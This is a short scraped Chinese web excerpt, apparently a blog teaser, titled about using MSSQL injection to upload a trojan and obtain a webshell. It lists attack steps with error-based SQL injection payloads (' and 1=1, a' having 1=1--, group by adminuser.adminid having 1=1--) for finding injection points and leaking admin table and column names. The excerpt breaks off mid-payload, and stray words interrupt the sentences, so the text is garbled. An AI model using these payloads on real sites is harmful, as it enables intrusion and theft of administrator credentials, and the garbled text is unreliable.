MSSQL注入之木立刻傳拿webshell

1.檢測是否存在注入點：依次添加語句',and 1=1和and 1=2,來判斷網站是否存在注入點web 2.利用語句：a' having 1=1--爆出表名和字段名AdminUser.AdminIdshell 3.接着爆出其餘字段：網站 a' group by adminuser.adminid having 1=1--  //爆出用戶名字段登錄 a' group by adminuser.adm

>>阅读原文<<